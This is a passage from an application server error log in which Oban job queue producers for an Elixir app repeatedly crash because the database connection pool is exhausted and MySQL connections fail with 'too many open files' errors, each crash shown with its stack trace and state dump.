  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:04:17.248778Z], limit: 5, uuid: "26e9e1f7-9df7-4fba-af90-5c69b7018fb4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:17.248800Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.250833>, refresh_timer: #Reference<0.2525715032.1068236804.250832>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:04:17.241963Z], limit: 50, uuid: "2a974f8a-5851-4e02-919d-49e267122029", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:17.241968Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.261520>, refresh_timer: #Reference<0.2525715032.1077411843.234880>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:29.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:04:17.253041Z], limit: 10, uuid: "66b73492-923c-4f6b-be89-f3eec182aa41", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:17.253049Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.250835>, refresh_timer: #Reference<0.2525715032.1077411843.234926>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:31.633000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:33.300000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:36.439000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:37.725000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:37.806000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:38.106000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:39.113000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:41.191000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:04:41.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:04:29.244354Z], limit: 20, uuid: "7cdc87e2-a245-4544-906e-ba6dacb19f5f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:29.244359Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105963>, refresh_timer: #Reference<0.2525715032.1121189889.105933>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:41.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1045ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:04:29.247313Z], limit: 10, uuid: "58a12694-dc8c-40ed-8ccf-913bc4bdb159", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:29.247319Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235097>, refresh_timer: #Reference<0.2525715032.1077411843.235086>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:41.245000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1001ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:04:29.248052Z], limit: 50, uuid: "17ec3b56-97c9-46e7-9ed0-7d7633aed8a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:29.248058Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235099>, refresh_timer: #Reference<0.2525715032.1077411843.235082>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:41.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:04:29.244645Z], limit: 3, uuid: "ac98ebaf-ff75-4c46-8a6a-f23c091587d4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:29.244651Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.105965>, refresh_timer: #Reference<0.2525715032.1121189889.105949>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:41.244000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1019ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:04:29.245772Z], limit: 5, uuid: "082598a0-9a14-4226-a2ca-21106f9e0c2c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:04:29.245778Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.235098>, refresh_timer: #Reference<0.2525715032.1099169794.261865>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:04:41.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
